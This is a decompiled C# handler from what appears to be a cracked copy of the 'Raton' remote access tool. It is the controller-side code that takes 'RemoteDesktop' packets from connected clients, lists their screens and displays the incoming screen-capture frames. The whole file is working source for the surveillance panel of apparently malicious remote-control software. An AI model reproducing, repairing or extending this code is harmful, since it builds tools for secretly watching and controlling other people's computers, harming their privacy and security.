Files
2026-08-27 11:23:13 -06:00

103 lines
3.1 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleDesktop
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleDesktop
{
private bool screensSaved;
public void Run(SillyClient client, Unpack unpack)
{
if (unpack.GetAsString("Packet") != "RemoteDesktop")
return;
string asString = unpack.GetAsString("Action");
string uid = unpack.GetAsString("UID");
ratonDesktop form = (ratonDesktop) null;
if (Application.OpenForms.Count > 0)
{
Form openForm = Application.OpenForms[0];
if (openForm.InvokeRequired)
openForm.Invoke((Delegate) (() => form = Application.OpenForms.OfType<ratonDesktop>().FirstOrDefault<ratonDesktop>((Func<ratonDesktop, bool>) (f => f.Text.StartsWith("Remote desktop | Client ID: " + uid) && !f.IsDisposed))));
else
form = Application.OpenForms.OfType<ratonDesktop>().FirstOrDefault<ratonDesktop>((Func<ratonDesktop, bool>) (f => f.Text.StartsWith("Remote desktop | Client ID: " + uid) && !f.IsDisposed));
}
if (form == null)
return;
if (form.SillyClient == null)
form.SillyClient = client;
if (asString == "Screens")
this.HandleScreens(form, unpack);
if (!(asString == "Frame"))
return;
this.HandleFrame(form, unpack);
}
private void HandleScreens(ratonDesktop form, Unpack unpack)
{
if (this.screensSaved)
return;
int screens;
try
{
screens = unpack.GetAsInteger("Screens");
}
catch
{
return;
}
form.BeginInvoke((Delegate) (() =>
{
form.flatComboBox1.Items.Clear();
for (int index = 0; index < screens; ++index)
form.flatComboBox1.Items.Add((object) ("RatonScreen_" + index.ToString()));
if (screens > 0)
form.flatComboBox1.SelectedIndex = 0;
this.screensSaved = true;
}));
}
private void HandleFrame(ratonDesktop form, Unpack unpack)
{
try
{
byte[] asByteArray = unpack.GetAsByteArray("ImageBytes");
if (asByteArray == null || asByteArray.Length == 0)
return;
Image img;
using (MemoryStream memoryStream = new MemoryStream(asByteArray))
{
using (Image original = Image.FromStream((Stream) memoryStream))
img = (Image) new Bitmap(original);
}
form.BeginInvoke((Delegate) (() =>
{
lock (form.OneByOne)
{
form.pictureBox1.Image?.Dispose();
form.pictureBox1.Image = img;
form.imageSize = new Point(img.Width, img.Height);
++form.FPS;
}
}));
}
catch (Exception ex)
{
Console.WriteLine("Error");
}
}
}